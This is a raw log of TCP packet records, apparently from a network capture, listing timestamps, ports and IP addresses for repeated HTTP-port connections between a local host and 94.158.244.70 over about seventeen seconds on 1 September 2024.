Sep 1, 2024 23:57:21.338953018 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.338984966 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.339008093 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.381977081 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.383361101 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.390587091 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.390749931 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.395606995 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395616055 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395647049 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395654917 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395713091 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395721912 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395824909 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395833969 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395878077 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395885944 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395939112 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395946980 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.395989895 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396015882 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396089077 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396142006 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396183014 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396250010 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396301031 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396367073 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.396408081 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.544785976 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.549505949 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.549602985 CEST	80	49741	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.591444969 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.921547890 CEST	80	49741	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.921610117 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.921938896 CEST	80	49741	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.921951056 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.921998024 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.926768064 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.060971022 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.061295033 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.066066027 CEST	80	49742	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.066144943 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.066158056 CEST	80	49741	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.066209078 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.066304922 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.071057081 CEST	80	49742	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.085913897 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.086184025 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.090970993 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.091088057 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.328957081 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.372678041 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.419715881 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.424534082 CEST	80	49742	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.648824930 CEST	80	49742	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.700839996 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.774296999 CEST	80	49742	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.825798035 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.900760889 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.900990009 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.901038885 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.905864954 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.905899048 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.905946016 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.905977964 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.906096935 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.906259060 CEST	80	49742	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:22.906311035 CEST	49742	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:22.910855055 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:23.263559103 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:23.268410921 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:23.504801035 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:23.560210943 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:23.634380102 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:23.685192108 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:23.761537075 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:23.767047882 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:23.767160892 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:23.767281055 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:23.772093058 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.122828007 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.127908945 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.359575033 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.403923035 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.488698006 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.529004097 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.607784033 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.608027935 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.919563055 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.960078955 CEST	80	49745	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.960098982 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.960187912 CEST	49744	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.960211992 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.960388899 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:24.962699890 CEST	80	49744	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:24.965595961 CEST	80	49745	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:25.310532093 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.690032005 CEST	80	49745	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:25.690404892 CEST	80	49745	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:25.691320896 CEST	80	49745	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:25.691380978 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.808394909 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.808521986 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.813311100 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:25.813416004 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.813468933 CEST	80	49745	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:25.813534975 CEST	49745	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.813579082 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:25.818306923 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.169692993 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.482068062 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.509416103 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.510116100 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.511132002 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.512876987 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.513077021 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.640973091 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.641273975 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.645957947 CEST	80	49746	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.646034002 CEST	49746	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.646080017 CEST	80	49747	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:26.646138906 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.646267891 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:26.651030064 CEST	80	49747	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.002846003 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.010415077 CEST	80	49747	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.218739986 CEST	80	49747	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.263411045 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.344033003 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.344260931 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.348570108 CEST	80	49747	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.348622084 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.348828077 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.348881006 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.349112988 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.352524042 CEST	80	49747	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.352576017 CEST	49747	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.353858948 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.466140032 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.472177029 CEST	80	49749	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.472238064 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.472430944 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.477263927 CEST	80	49749	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.700934887 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.705885887 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.706043005 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.826045036 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:27.831115007 CEST	80	49749	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.952130079 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:27.997704029 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.048757076 CEST	80	49749	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.084583998 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.091495037 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.138515949 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.177772999 CEST	80	49749	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.232094049 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.292833090 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.292845011 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.293122053 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.298073053 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.298085928 CEST	80	49749	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.298242092 CEST	49749	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.298258066 CEST	80	49748	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.298263073 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.298305035 CEST	49748	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.298474073 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.304882050 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:28.654210091 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:28.966574907 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.469661951 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.469784021 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.475791931 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.475835085 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.476643085 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.476917982 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.476980925 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.477201939 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.477356911 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.478022099 CEST	80	49743	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.478074074 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.478445053 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.478509903 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.640853882 CEST	80	49750	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.685235977 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.881917953 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.886878014 CEST	80	49751	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:29.888540030 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.888983965 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:29.893857002 CEST	80	49751	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:30.247823954 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.326848984 CEST	80	49751	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:30.468794107 CEST	80	49751	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:30.513359070 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.594325066 CEST	80	49751	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:30.638328075 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.714649916 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.714814901 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.720175982 CEST	80	49752	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:30.720288992 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.720406055 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.720437050 CEST	80	49751	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:30.720503092 CEST	49751	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:30.725132942 CEST	80	49752	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.075974941 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.081068993 CEST	80	49752	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.301747084 CEST	80	49752	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.341561079 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.431006908 CEST	80	49752	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.482069969 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.556060076 CEST	49743	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.556137085 CEST	49750	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.558988094 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.559451103 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.564049006 CEST	80	49752	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.564121008 CEST	49752	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.564228058 CEST	80	49753	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.564433098 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.564615011 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.569371939 CEST	80	49753	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:31.919739962 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:31.924607992 CEST	80	49753	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:32.170978069 CEST	80	49753	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:32.216521025 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.302126884 CEST	80	49753	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:32.357065916 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.574318886 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.575390100 CEST	49754	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.579507113 CEST	80	49753	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:32.579554081 CEST	49753	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.580226898 CEST	80	49754	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:32.580293894 CEST	49754	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.580557108 CEST	49754	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.585356951 CEST	80	49754	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:32.935288906 CEST	49754	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:32.940105915 CEST	80	49754	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.092243910 CEST	49754	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.092262030 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.097100973 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.097187996 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.097305059 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.097322941 CEST	80	49754	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.097378969 CEST	49754	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.102087021 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.215167046 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.220053911 CEST	80	49756	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.220159054 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.220278978 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.225039005 CEST	80	49756	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.451066971 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.455984116 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.456021070 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.575956106 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.580914021 CEST	80	49756	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.666609049 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.716478109 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.792115927 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.819273949 CEST	80	49756	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.841439962 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.872693062 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:33.950225115 CEST	80	49756	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:33.997741938 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.074790955 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.074994087 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.075036049 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.079819918 CEST	80	49757	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.079914093 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.079983950 CEST	80	49755	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.080041885 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.080041885 CEST	49755	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.080178022 CEST	80	49756	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.080219984 CEST	49756	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.084779978 CEST	80	49757	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.435285091 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.440242052 CEST	80	49757	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.671128035 CEST	80	49757	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.716444969 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.800438881 CEST	80	49757	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.841691971 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.917892933 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.922718048 CEST	80	49758	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:34.922811031 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.922964096 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:34.927722931 CEST	80	49758	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:35.279268980 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.284121990 CEST	80	49758	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:35.496210098 CEST	80	49758	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:35.544564962 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.624691963 CEST	80	49758	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:35.669636011 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.746371984 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.746629953 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.751883984 CEST	80	49759	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:35.751980066 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.752084970 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.752305984 CEST	80	49758	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:35.752362013 CEST	49758	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:35.757637978 CEST	80	49759	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.107224941 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.112373114 CEST	80	49759	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.345942974 CEST	80	49759	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.388492107 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.472940922 CEST	80	49759	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.528928995 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.588306904 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.588510036 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.593307018 CEST	80	49760	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.593408108 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.593422890 CEST	80	49759	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.593475103 CEST	49759	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.593556881 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.598268032 CEST	80	49760	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:36.951008081 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:36.955861092 CEST	80	49760	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:37.165982008 CEST	80	49760	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:37.216453075 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.292577982 CEST	80	49760	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:37.341552973 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.418462992 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.418703079 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.423589945 CEST	80	49761	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:37.423604012 CEST	80	49760	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:37.423692942 CEST	49760	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.423713923 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.423820019 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.428545952 CEST	80	49761	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:37.779109955 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:37.922669888 CEST	80	49761	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.008538008 CEST	80	49761	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.060245991 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.134751081 CEST	80	49761	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.185312033 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.261214972 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.261338949 CEST	49762	80	192.168.2.5	94.158.244.70
